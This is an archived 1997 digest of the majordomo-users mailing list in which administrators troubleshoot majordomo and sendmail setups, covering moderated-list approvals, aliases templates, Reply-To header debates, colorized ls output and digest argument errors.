charset=US-ASCII Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk I'm using 1.93 on a Sparcstation 10 under Solaris 2.3. I've got sendmail 8.8.5, and perl 5.003. The problem that I'm having is that when I try to set up a moderated list, the BOUNCE approval messages get split. The list owner gets the bounce headers in one message, with a null body, and the original submission in a different message. This makes approving *very* difficult. What do I need to do to correct this? Is it a majordomo problem, or is it more of a mail.local problem? Any help is greatly appreciated. I need to solve this asap. A possible workaround: Is there any guaranteed way to prevent vacation programs from flooding the list? Sandy sewiv@izzy.net Honesty is paramount to me. Lying to me to avoid hurting me never works. Being lied to always causes me more pain than the truth ever could. I don't speak for anyone but myself, and sometimes not even that. From owner-majordomo-users-outgoing Mon Jun 2 12:00:28 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id LAA01593 for majordomo-users-outgoing; Mon, 2 Jun 1997 11:51:55 -0700 (PDT) Received: from peking.duc.auburn.edu (peking.duc.auburn.edu [131.204.85.205]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with SMTP id LAA01585 for ; Mon, 2 Jun 1997 11:51:50 -0700 (PDT) Received: by peking.duc.auburn.edu (SMI-8.6/SMI-SVR4) id NAA20058; Mon, 2 Jun 1997 13:54:10 -0500 Date: Mon, 2 Jun 1997 13:54:10 -0500 From: swangdb@duc.auburn.edu (David Swanger) Message-Id: <199706021854.NAA20058@peking.duc.auburn.edu> To: majordomo-users@greatcircle.com Subject: template for /etc/aliases Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Content-MD5: RD0j51AiLlvI17RFlya9dg== Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk I installed majordomo (1.94.1) on a Sun (Solaris 2.5.1, Sendmail 8.6) and it seems to be working fine. I have installed several mailings lists and they are working. I am using the following template to create new lists in /etc/aliases (unmoderated, no archiving or digests): ################################################################# listname: "|/usr/local/majordomo/wrapper resend -r listname@mail.auburn.edu -p bulk -M 10000 -l listname -f listname-owner -h mail.auburn.edu -s listname-outgoing" owner-listname: listowner@mail.auburn.edu listname-outgoing: :include:/usr/local/majordomo/lists/listname owner-listname-outgoing: listowner@mail.auburn.edu listname-request: "/usr/local/majordomo/wrapper request-answer listname" listname-approval: listowner@mail.auburn.edu listname-owner: listowner@mail.auburn.edu ################################################################# This seems to work, I've read through the docs, but there is a lot to read. If any of you have the time to glance over this, I would appreciate it if you would let me know if I made any mistakes. Like I said, this does seem to work, but if I have a problem, I would like to know about it now know so it won't surprise me later. Thanks for any help you can send. -- David Swanger Division of University Computing Auburn University, AL From owner-majordomo-users-outgoing Mon Jun 2 13:15:59 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id NAA10796 for majordomo-users-outgoing; Mon, 2 Jun 1997 13:04:49 -0700 (PDT) Received: from ncr-sd.SanDiegoCA.NCR.COM (h153-64-252-2.NCR.COM [153.64.252.2]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id NAA10735 for ; Mon, 2 Jun 1997 13:04:33 -0700 (PDT) Received: from bill-houle (bill-houle.SanDiegoCA.NCR.COM [153.64.69.200]) by ncr-sd.SanDiegoCA.NCR.COM (8.8.5/8.7.3) with SMTP id NAA23160; Mon, 2 Jun 1997 13:05:47 -0700 (PDT) Message-Id: <3.0.32.19970602131248.00989610@www.sandiegoca.ncr.com> X-Sender: bhoule@www.sandiegoca.ncr.com X-Mailer: Windows Eudora Pro Version 3.0 (32) Date: Mon, 02 Jun 1997 13:14:52 -0700 To: "Sanford E. Walke IV" , majordomo-users@GreatCircle.COM From: Bill Houle Subject: Re: problem Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk At 02:05 PM 6/2/97 -0400, Sanford E. Walke IV wrote: > >The problem that I'm having is that when I try to set up a moderated list, >the BOUNCE approval messages get split. The list owner gets the bounce >headers in one message, with a null body, and the original submission in >a different message. This makes approving *very* difficult. What do I >need to do to correct this? Is it a majordomo problem, or is it more of >a mail.local problem? Some insight, but no real solution: something is putting an extra From_ line on the BOUNCEd part of the message body. Your mail reader is treating the BOUNCE as 2 separate messages because of it. We noticed the problem on our sendmail+Elm config. We got around the problem by having a front-end filter on the moderator mailbox to remove the bad From_. Still not sure where it was coming from... --bill From owner-majordomo-users-outgoing Mon Jun 2 13:48:46 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id NAA15685 for majordomo-users-outgoing; Mon, 2 Jun 1997 13:42:22 -0700 (PDT) Received: from Kitten.mcs.com (Kitten.mcs.com [192.160.127.90]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id NAA15581 for ; Mon, 2 Jun 1997 13:41:58 -0700 (PDT) Received: from Mars.mcs.net (les@Mars.mcs.net [192.160.127.85]) by Kitten.mcs.com (8.8.5/8.8.2) with ESMTP id PAA12141; Mon, 2 Jun 1997 15:45:10 -0500 (CDT) Received: (from les@localhost) by Mars.mcs.net (8.8.5/8.8.2) id PAA21119; Mon, 2 Jun 1997 15:44:57 -0500 (CDT) From: Leslie Mikesell Message-Id: <199706022044.PAA21119@Mars.mcs.net> Subject: Re: Reply To To: Mats.Dufberg@abc.se Date: Mon, 2 Jun 1997 15:44:50 -0500 (CDT) Cc: les@Mcs.Net, majordomo-users@GreatCircle.COM In-Reply-To: <199706021320.PAA05456@tor.abc.se> from "Mats Dufberg" at Jun 2, 97 00:56:38 am X-Mailer: ELM [version 2.4 PL24] Content-Type: text Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk > No, it is not that simple. The REPLY-TO header is there to > let the composer decide where replies to message should go. > She may want replies to go to a different address than the one > in the FROM header. If the list manager manipulates the message > by replacing the REPLY-TO, or adding another REPLY-TO, you have > removed the possibility of replying to the sender at the address > she wishes you to reply to. Actually as the composer, I would like my Reply-To: to be set to the list address, except in the rare cases where I want to subvert the interesting replies only to my own mailbox instead of sharing them with the rest of the list members. However, my mailer doesn't make this easy and I'm too lazy to do it the hard way. > IMHO, there are two solutions: > > 1. do nothing with REPLY-TO, or > 2. enclose the message in a new message in such a way that > the FROM, REPLY-TO, DATE and SUBJECT headers of the original > message also are enclose, but the new message has the list as > FROM header. Number 2 doesn't work because now you have no way to reply only to the author when you decide that is appropriate. 3. Continue to assume that Reply-To: is going to be broken and punch reply/all for every mail list reply you make. Continue to ignore the complaints about the extra CC:s that this method generates. 4. Insist that everyone using mailing lists insert the Reply-To: themselves with the list address if they want their submissions to a discussion list to actually be discussed instead of becoming private mail. 5. Fix the mailing list software to insert the Reply-To: header that I wanted but my own mailer wouldn't insert for me. Les Mikesell les@mcs.com From owner-majordomo-users-outgoing Mon Jun 2 14:00:43 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id NAA16811 for majordomo-users-outgoing; Mon, 2 Jun 1997 13:50:47 -0700 (PDT) Received: from izzy4.izzy.net (izzy4.izzy.net [198.108.102.10]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id NAA16661 for ; Mon, 2 Jun 1997 13:50:06 -0700 (PDT) Received: from izzy5.izzy.net (izzy5.izzy.net [198.108.102.9]) by izzy4.izzy.net (8.8.5/8.6.9) with ESMTP id QAA17494 for ; Mon, 2 Jun 1997 16:53:33 -0400 (EDT) Received: (from sewiv@localhost) by izzy5.izzy.net (8.8.5/8.6.9) id QAA28792; Mon, 2 Jun 1997 16:53:32 -0400 (EDT) Date: Mon, 2 Jun 1997 16:53:30 -0400 (EDT) From: "Sanford E. Walke IV" To: majordomo-users@greatcircle.com Subject: really stupid approve question Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk Okay, so I got my last problem corrected, by reading the sendmail faq and using /usr/lib/mail.local for my local mailer instead of /bin/mail. Now, I am having trouble approving posts. All I have to do is add the line "Approved: " at the beginning of the body in the bounced message and send it back to the list, right? Every time I try it (and I *know* I have the right password), I get another bounce message for the one I just sent. Any ideas? What am I doing wrong? Sandy sewiv@izzy.net Honesty is paramount to me. Lying to me to avoid hurting me never works. Being lied to always causes me more pain than the truth ever could. I don't speak for anyone but myself, and sometimes not even that. From owner-majordomo-users-outgoing Mon Jun 2 14:30:32 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id OAA20966 for majordomo-users-outgoing; Mon, 2 Jun 1997 14:27:24 -0700 (PDT) Received: from elvis.vnet.net (elvis.vnet.net [166.82.1.5]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id OAA20944 for ; Mon, 2 Jun 1997 14:27:15 -0700 (PDT) Received: from ns.ASARian.org (fuzzy@ns.ASARian.org [206.66.160.156]) by elvis.vnet.net (8.8.5/8.8.4) with ESMTP id RAA20396 for ; Mon, 2 Jun 1997 17:30:43 -0400 (EDT) Received: from localhost (fuzzy@localhost) by ns.ASARian.org (8.6.12/8.6.12) with SMTP id RAA02186 for ; Mon, 2 Jun 1997 17:30:37 -0400 Date: Mon, 2 Jun 1997 17:30:35 -0400 (EDT) From: Fuzzy To: Majordomo-users List Subject: wierd characters in index responses Message-ID: X-No-Archive: yes Organization: ASARian MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk >>>> index tbp-digest total 116 -rw-rw---- 1 majordom majordom 41260 May 19 01:01 ^[[0mv01.n001^[[0m -rw-rw---- 1 majordom majordom 16148 May 20 04:04 ^[[0mv01.n002^[[0m -rw-rw---- 1 majordom majordom 12805 May 21 10:18 ^[[0mv01.n003^[[0m -rw-rw---- 1 majordom majordom 8651 May 22 14:37 ^[[0mv01.n004^[[0m -rw-rw---- 1 majordom majordom 6135 May 25 01:40 ^[[0mv01.n005^[[0m -rw-rw---- 1 majordom majordom 2951 May 27 13:36 ^[[0mv01.n006^[[0m -rw-rw---- 1 majordom majordom 1856 May 29 21:15 ^[[0mv01.n007^[[0m -rw-rw---- 1 majordom majordom 21527 May 31 18:02 ^[[0mv01.n008^[[0m version 1.94.3 perl perl5.003 linux 1.2.13 slackware 3.0 the command used in majordomo.cf is # What command should I use to process an "index" request? # $index_command = "/bin/ls -lRL"; this used to work fine with 1.94.1? any thoughts?? Fuzzy Sys admin,ASARian.org From owner-majordomo-users-outgoing Mon Jun 2 14:45:07 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id OAA20127 for majordomo-users-outgoing; Mon, 2 Jun 1997 14:18:26 -0700 (PDT) Received: from god.knotwork.com (god.knotwork.com [198.166.227.1]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id OAA20113 for ; Mon, 2 Jun 1997 14:18:18 -0700 (PDT) Received: from localhost (root@localhost) by god.knotwork.com (8.8.4/8.6.10) with SMTP id SAA03399 for ; Mon, 2 Jun 1997 18:22:05 -0300 Date: Mon, 2 Jun 1997 18:22:04 -0300 (ADT) From: Knotwork Admin To: majordomo-users@GreatCircle.COM Subject: Re: Reply To In-Reply-To: <199706022044.PAA21119@Mars.mcs.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk On Mon, 2 Jun 1997, Leslie Mikesell wrote: > 4. Insist that everyone using mailing lists insert the Reply-To: > themselves with the list address if they want their submissions > to a discussion list to actually be discussed instead of becoming > private mail. > > 5. Fix the mailing list software to insert the Reply-To: header that > I wanted but my own mailer wouldn't insert for me. 6. Fix the User Agent to do what the User Wants. Doing what the user wants is the User Agent's job. The problem you are decribing is a user agent that is not in fact functioning adequately as the user's agent when dealing with the user's mailing list interactions. This is simply the correct means of implementing number 4 above, and makes 5 unnecessary. The user agent needs at least two distinct types of response to an article posting letter item or document: respond to where the document is going or respond to the author of the document. Blessed Be. -MarkM- -- We do remote Linux install, config, support and administration. Inquire. ........................................................................ "The saddest thing is they WANT to be ignorant, INSIST on it in fact." From owner-majordomo-users-outgoing Mon Jun 2 14:48:56 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id OAA20824 for majordomo-users-outgoing; Mon, 2 Jun 1997 14:25:21 -0700 (PDT) Received: from turbot.dfo.ca (cod.dfo.ca [142.2.18.252]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with SMTP id OAA20772 for ; Mon, 2 Jun 1997 14:25:08 -0700 (PDT) Received: tid SAA00664; Mon, 2 Jun 1997 18:29:04 -0300 Received: by ecology.bio.dfo.ca (940816.SGI.8.6.9/940406.SGI.AUTO) for Majordomo-Users@GreatCircle.COM id SAA02871; Mon, 2 Jun 1997 18:28:57 -0300 From: sysop@ecology.bio.dfo.ca (Bill Silvert) Message-Id: <199706022128.SAA02871@ecology.bio.dfo.ca> Subject: Problem with digests To: Majordomo-Users@GreatCircle.COM (Majordomo Users) Date: Mon, 2 Jun 1997 18:28:52 -0300 (ADT) X-Mailer: ELM [version 2.4 PL23] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk When I issue the mkdigest command to MD 1.94.3 I get the following message. I'm using perl 5.003 and IRIX 5.3, and I installed all MD patches from the archives up to about a week ago. The relevant part of the aliases is that for xyz-outgoing I have "| /path/majordomo/wrapper digest -r -C -l xyz-digest xyz-digest-outgoing" as part of the alias. I copied the form right out of the 1.94.3 release notes, and the files xyz and xyz-digest exist. I looked through the digest program for the error string, but it isn't there and I can't even find this string in any of the files in the MD directory (I searched for the word "such"). Any ideas what is happening, where the message comes from, and how I can set about fixing it? It looks to me as though the option -C requires a filename for an argument and isn't accepting "-l", but that doesn't gibe with my admitedly poor ability to read the digest program. Thanks, Bill The command was mkdigest xyz-digest PASSWORD Forwarded message: >From majordomo-owner Mon Jun 2 09:41:46 1997 >Date: Mon, 2 Jun 1997 09:41:46 -0300 >From: majordomo-owner >To: majordomo-owner >Subject: MAJORDOMO ABORT (mj_digest) >Reply-To: majordomo-owner > >-- > > >MAJORDOMO ABORT (mj_digest)!! > >-l: No such file or directory > > > > -- BIOME SysOp, Habitat Ecology Section, Bedford Institute of Oceanography P. O. Box 1006, Dartmouth, Nova Scotia, CANADA B2Y 4A2. Tel. (902)426-1577 From owner-majordomo-users-outgoing Mon Jun 2 15:00:35 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id OAA23073 for majordomo-users-outgoing; Mon, 2 Jun 1997 14:48:28 -0700 (PDT) Received: from londo.prescienttech.com (londo.prescienttech.com [199.103.216.62]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id OAA23064 for ; Mon, 2 Jun 1997 14:48:19 -0700 (PDT) Received: from gkar.prescienttech.com (gkar.prescienttech.com [111.17.19.1]) by londo.prescienttech.com (8.8.5/8.8.5) with ESMTP id RAA02353 for ; Mon, 2 Jun 1997 17:51:46 -0400 Received: (from ratinox@localhost) by gkar.prescienttech.com (8.8.5/8.8.5) id RAA32013; Mon, 2 Jun 1997 17:51:46 -0400 From: Rich Pieri To: majordomo-users@greatcircle.com Subject: Re: wierd characters in index responses References: X-No-Archive: yes Date: 02 Jun 1997 17:51:45 -0400 In-Reply-To: Fuzzy's message of Mon, 2 Jun 1997 17:30:35 -0400 (EDT) Message-ID: Lines: 30 X-Mailer: Gnus v5.4.55/Emacs 19.34 Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk -----BEGIN PGP SIGNED MESSAGE----- >>>>> "F" == Fuzzy writes: >>>>> index tbp-digest F> total 116 F> -rw-rw---- 1 majordom majordom 41260 May 19 01:01 ^[[0mv01.n001^[[0m Looks like GNU 'ls' (shell-utils) with color enabled. Those are VT100 or ANSI escape sequences (specifically, "^[[0m" turns off all video attributes). Without being able to see how ls is being invoked I cannot say for certain why this is happening. The man page will mention a few things for you to check. -----BEGIN PGP SIGNATURE----- Version: 4.0 Business Edition Charset: noconv iQCVAwUBM5NAcJ6VRH7BJMxHAQGYDgP8DWJ3jUZFs4ZYXb+SQGXWuWI9B/jyN+GS jWRY+/0vQVxRRnqcUB3/ut0hVdUUI0b+piETwRzFz3KhwpebI1gtWS6Cnqr9oZh/ XtE3bkH+QskJ7WVV7sJLBD4Wl9DqDAL5JBPlZ2cYn7hwdZBUGXm5LCDrhLf9uzZM IeqNgWURWJk= =iBS6 -----END PGP SIGNATURE----- -- Rich Pieri | Do not use Happy Fun Ball on Prescient Technologies, Inc. | concrete. A Stone & Webster Company | I speak for myself, not PTI or SWEC | From owner-majordomo-users-outgoing Mon Jun 2 15:03:05 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id OAA19924 for majordomo-users-outgoing; Mon, 2 Jun 1997 14:16:44 -0700 (PDT) Received: from londo.prescienttech.com (londo.prescienttech.com [199.103.216.62]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id OAA19905 for ; Mon, 2 Jun 1997 14:16:31 -0700 (PDT) Received: from gkar.prescienttech.com (gkar.prescienttech.com [111.17.19.1]) by londo.prescienttech.com (8.8.5/8.8.5) with ESMTP id RAA01714 for ; Mon, 2 Jun 1997 17:19:50 -0400 Received: (from ratinox@localhost) by gkar.prescienttech.com (8.8.5/8.8.5) id RAA31134; Mon, 2 Jun 1997 17:19:50 -0400 From: Rich Pieri To: majordomo-users@greatcircle.com Subject: Re: Reply To References: <199706022044.PAA21119@Mars.mcs.net> X-No-Archive: yes Date: 02 Jun 1997 17:19:49 -0400 In-Reply-To: Leslie Mikesell's message of Mon, 2 Jun 1997 15:44:50 -0500 (CDT) Message-ID: Lines: 35 X-Mailer: Gnus v5.4.55/Emacs 19.34 Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk -----BEGIN PGP SIGNED MESSAGE----- >>>>> "LM" == Leslie Mikesell writes: LM> Actually as the composer, I would like my Reply-To: to be set to LM> the list address, except in the rare cases where I want to subvert LM> the interesting replies only to my own mailbox instead of sharing LM> them with the rest of the list members. Then set it as you would. As the originator the setting of a Reply-To header is *YOUR* perogative and responsibility; it rests with no other. LM> However, my mailer doesn't make this easy and I'm too lazy to do LM> it the hard way. Too bad. Laziness -- which I have repeatedly stated was the sole justification for the existance of reply_to -- is no reason to break standards. -----BEGIN PGP SIGNATURE----- Version: 4.0 Business Edition Charset: noconv iQCVAwUBM5M48p6VRH7BJMxHAQEgIgP/dlNDXkyPHzJE6laXDcDblmaDa5QgQnXW QMUV4iDko3qWO9e2nLUPgmpfvTeHpwMbPI1YsrUKvkMeJZcGjzwn4hh9hpURWpCm jdXeE+lvdHguO6nhaxV4lBpykjbJx9XR2FMWSTJg+WCYs9gvbbYfFM7pKlzg0ne6 X1ri646pkpM= =lw3N -----END PGP SIGNATURE----- -- Rich Pieri | Do not taunt Happy Fun Ball. Prescient Technologies, Inc. | A Stone & Webster Company | I speak for myself, not PTI or SWEC | From owner-majordomo-users-outgoing Mon Jun 2 15:12:26 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id OAA22675 for majordomo-users-outgoing; Mon, 2 Jun 1997 14:46:05 -0700 (PDT) Received: from mailgate2.boeing.com (mailgate2.boeing.com [199.238.248.100]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with SMTP id OAA22648 for ; Mon, 2 Jun 1997 14:45:52 -0700 (PDT) Received: from splinter.boeing.com by mailgate2.boeing.com (SMI-8.6/SMI-SVR4) id OAA29740; Mon, 2 Jun 1997 14:49:11 -0700 Received: from warlok.ds.boeing.com by splinter.boeing.com with ESMTP (1.37.109.16/16.2) id AA184767886; Mon, 2 Jun 1997 14:44:47 -0700 Received: by warlok.ds.boeing.com (SMI-8.6/SMI-SVR4-DNI-8.0) id OAA04207; Mon, 2 Jun 1997 14:49:10 -0700 Date: Mon, 2 Jun 1997 14:49:10 -0700 Message-Id: <199706022149.OAA04207@warlok.ds.boeing.com> To: youngpk@info.bt.co.uk Subject: Re: Solaris sendmail writing to pipes Cc: majordomo-users@GreatCircle.COM From: howard.s.modell@boeing.com Reply-To: howard.s.modell@boeing.com Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk H:From owner-majordomo-users-outgoing@GreatCircle.COM Mon Jun 2 14:43:26 1997 H:Date: Mon, 2 Jun 1997 16:00:10 +0100 H:From: youngpk@info.bt.co.uk (Pete Young) H:To: majordomo-users@greatcircle.com H:Subject: Solaris sendmail writing to pipes H:Content-MD5: Y4G1Rl1NkoClqoWA3z5yCg== H: H:Dear all, H: H:Last time we looked at majordomo on Solaris 2.5 there were some problems H:with the Sun version of /usr/lib/sendmail writing to pipes. I forget H:the exact detail but it was sufficient to discourage majordomo from H:working reliably. H: H:The SunOS box we're using for majordomo is on it's last legs and I H:need to both upgrade from 1.93 and move onto an Ultra running Solaris 2.5.1. H: H:Can someone tell me whether this problem with sendmail has now been resolved, H:and if so which version of sendmail I should be running ? H: H:My apologies if the answer to this is well-known. I couln't find it in H:the FAQ. H: H:Kind regards H: H:Pete H: H: ____________________________________________________________________ H: Pete Young pete.young@bt-sys.bt.co.uk Phone +44 1473 605525 H: "Just another crouton, floating on the bouillabaisse of life" H: the "problem" was that, for security reasons, Sun decided to totally disallow the specification of pipes in /etc/sendmail.cf and /etc/aliases (and in .forward files??). However, if you use procmail as the local delivery agent, it will happily route mail into pipes. I use Majordomo and MHonArc (the Mail-to-HTML conversion tool) and I found that the only way I could accomplish routing mail from majordomo to mhonarc was to (1) make my majordomo "owner" be a subscriber to the lists I wanted to reflect, and (2) use procmail to route the mail that came to the majordomo "owner" into mhonarc. Howard S. Modell ________________________________________________________________________ Adv.Computing Technologist/2 POBox 3707, m/s 4A-25, Boeing D&SG howard.s.modell@boeing.com Seattle, WA 98124-2207 http://warlok.ds.boeing.com/~howie/ (206)662-0189[v] (206)662-4018[f] From owner-majordomo-users-outgoing Mon Jun 2 15:30:26 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id PAA26114 for majordomo-users-outgoing; Mon, 2 Jun 1997 15:12:45 -0700 (PDT) Received: from sina.hpc.uh.edu (Sina.HPC.UH.EDU [129.7.3.5]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id PAA26091 for ; Mon, 2 Jun 1997 15:12:36 -0700 (PDT) Received: (from tibbs@localhost) by sina.hpc.uh.edu (8.7.3/8.7.3) id RAA06178; Mon, 2 Jun 1997 17:16:01 -0500 (CDT) To: Fuzzy Cc: Majordomo-users List Subject: Re: wierd characters in index responses References: Mime-Version: 1.0 (generated by tm-edit 7.100) Content-Type: text/plain; charset=US-ASCII From: Jason L Tibbitts III Date: 02 Jun 1997 17:16:00 -0500 In-Reply-To: Fuzzy's message of Mon, 2 Jun 1997 17:30:35 -0400 (EDT) Message-ID: Lines: 8 X-Mailer: Gnus v5.4.46/Emacs 19.34 Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk >>>>> "F" == Fuzzy writes: F> -rw-rw---- 1 majordom majordom 41260 May 19 01:01 ^[[0mv01.n001^[[0m Looks like ls is putting colors into its output. Figure out how to turn it off. - J< From owner-majordomo-users-outgoing Mon Jun 2 15:36:39 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id PAA25703 for majordomo-users-outgoing; Mon, 2 Jun 1997 15:10:58 -0700 (PDT) Received: from panix4.panix.com (panix4.panix.com [198.7.0.5]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id PAA25688 for ; Mon, 2 Jun 1997 15:10:48 -0700 (PDT) Received: (from askanas@localhost) by panix4.panix.com (8.8.5/8.7/PanixU1.3) id SAA03152 for majordomo-users@greatcircle.com; Mon, 2 Jun 1997 18:14:15 -0400 (EDT) From: malgosia askanas Message-Id: <199706022214.SAA03152@panix4.panix.com> Subject: What is causing this abort? To: majordomo-users@greatcircle.com Date: Mon, 2 Jun 1997 18:14:14 -0400 (EDT) In-Reply-To: <199706021508.LAA12355@panix4.panix.com> from "malgosia askanas" at Jun 2, 97 11:08:26 am X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk A list I run is getting these aborts with each message posted to the list: MAJORDOMO ABORT (mj_resend)!! Mailer /usr/lib/sendmail -fowner-foucault@lists.village.virginia.edu foucault-outgoing exited unexpectedly with error 64 The messages do get distributed to the list, although I don't know if they reach all the subscribers. These messages started appearing after I upgraded from 1.92 to 1.94.3. Here are the aliases for the list: foucault: "|/usr/majordomo/wrapper resend -l foucault -h lists.village.virgini a.edu -r foucault -f foucault-approval -p bulk -s foucault-outgoing" foucault-outgoing: :include:/usr/majordomo/lists/foucault, foucault-archi ve, "|/usr/majordomo/wrapper digest -r -C -l foucault-digest foucault-digest-o utgoing" foucault-request: "|/usr/majordomo/wrapper request-answer foucault" foucault-approval: owner-foucault foucault-archive: "|/usr/majordomo/wrapper archive -f /home/ftp/pub/pubs/lis tservs/spoons/foucault.archive/foucault -m -a " owner-foucault: spoons Do you have any suggestions as to what might be causing these aborts, and what their consequences might be? This is with Sendmail 8.8.5. Thanks in advance, -malgosia From owner-majordomo-users-outgoing Mon Jun 2 15:36:44 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id PAA27587 for majordomo-users-outgoing; Mon, 2 Jun 1997 15:20:51 -0700 (PDT) Received: from sina.hpc.uh.edu (Sina.HPC.UH.EDU [129.7.3.5]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id PAA27537 for ; Mon, 2 Jun 1997 15:20:35 -0700 (PDT) Received: (from tibbs@localhost) by sina.hpc.uh.edu (8.7.3/8.7.3) id RAA06433; Mon, 2 Jun 1997 17:24:08 -0500 (CDT) To: sysop@ecology.bio.dfo.ca (Bill Silvert) Cc: Majordomo-Users@GreatCircle.COM (Majordomo Users) Subject: Re: Problem with digests References: <199706022128.SAA02871@ecology.bio.dfo.ca> Mime-Version: 1.0 (generated by tm-edit 7.100) Content-Type: text/plain; charset=US-ASCII From: Jason L Tibbitts III Date: 02 Jun 1997 17:24:07 -0500 In-Reply-To: sysop@ecology.bio.dfo.ca's message of Mon, 2 Jun 1997 18:28:52 -0300 (ADT) Message-ID: Lines: 16 X-Mailer: Gnus v5.4.46/Emacs 19.34 Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk >>>>> "BS" == Bill Silvert writes: BS> "| /path/majordomo/wrapper digest -r -C -l xyz-digest xyz-digest-outgoing" Sendmail is smashing the case of the arguments, so -C ends up as -c, which takes an argument. )(*%%* sendmail. This is an incredible pain. It only happens with some versions of sendmail, and even then not all the time. (It has to do with whether or not the message gets queued before delivery.) One (hackish) thing you can do is to edit digest, find the call to getopts, and change the 'C' to something like 'z', and use -z in your digest alias. Or you could play with your sendmail installation. - J< From owner-majordomo-users-outgoing Mon Jun 2 15:45:17 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id PAA01263 for majordomo-users-outgoing; Mon, 2 Jun 1997 15:44:53 -0700 (PDT) Received: from Kitten.mcs.com (Kitten.mcs.com [192.160.127.90]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id PAA01207 for ; Mon, 2 Jun 1997 15:44:42 -0700 (PDT) Received: from Mars.mcs.net (les@Mars.mcs.net [192.160.127.85]) by Kitten.mcs.com (8.8.5/8.8.2) with ESMTP id RAA19669; Mon, 2 Jun 1997 17:48:13 -0500 (CDT) Received: (from les@localhost) by Mars.mcs.net (8.8.5/8.8.2) id RAA29744; Mon, 2 Jun 1997 17:48:12 -0500 (CDT) From: Leslie Mikesell Message-Id: <199706022248.RAA29744@Mars.mcs.net> Subject: Re: Reply To To: root@knotwork.com (Knotwork Admin) Date: Mon, 2 Jun 1997 17:48:10 -0500 (CDT) Cc: majordomo-users@GreatCircle.COM In-Reply-To: from "Knotwork Admin" at Jun 2, 97 06:22:04 pm X-Mailer: ELM [version 2.4 PL24] Content-Type: text Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk > On Mon, 2 Jun 1997, Leslie Mikesell wrote: > > 4. Insist that everyone using mailing lists insert the Reply-To: > > themselves with the list address if they want their submissions > > to a discussion list to actually be discussed instead of becoming > > private mail. > > > > 5. Fix the mailing list software to insert the Reply-To: header that > > I wanted but my own mailer wouldn't insert for me. > > 6. Fix the User Agent to do what the User Wants. Doing what the user wants > is the User Agent's job. The problem you are decribing is a user agent > that is not in fact functioning adequately as the user's agent when > dealing with the user's mailing list interactions. This is simply the > correct means of implementing number 4 above, and makes 5 unnecessary. > > The user agent needs at least two distinct types of response to an article > posting letter item or document: respond to where the document is going or > respond to the author of the document. You are right, of course. Let me know when this step is complete. However, I don't quite understand why we need mailing list software if User Agents are supposed to do everything by themselves. Why not make all user agents capable of obtaining the envelope address list and expanding it themselves instead of submitting through software that understands the concept of discussion lists and processes it accordingly? Les Mikesell les@mcs.com From owner-majordomo-users-outgoing Mon Jun 2 16:26:35 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id QAA04410 for majordomo-users-outgoing; Mon, 2 Jun 1997 16:06:32 -0700 (PDT) Received: from god.knotwork.com (god.knotwork.com [198.166.227.1]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id QAA04379 for ; Mon, 2 Jun 1997 16:06:21 -0700 (PDT) Received: from localhost (root@localhost) by 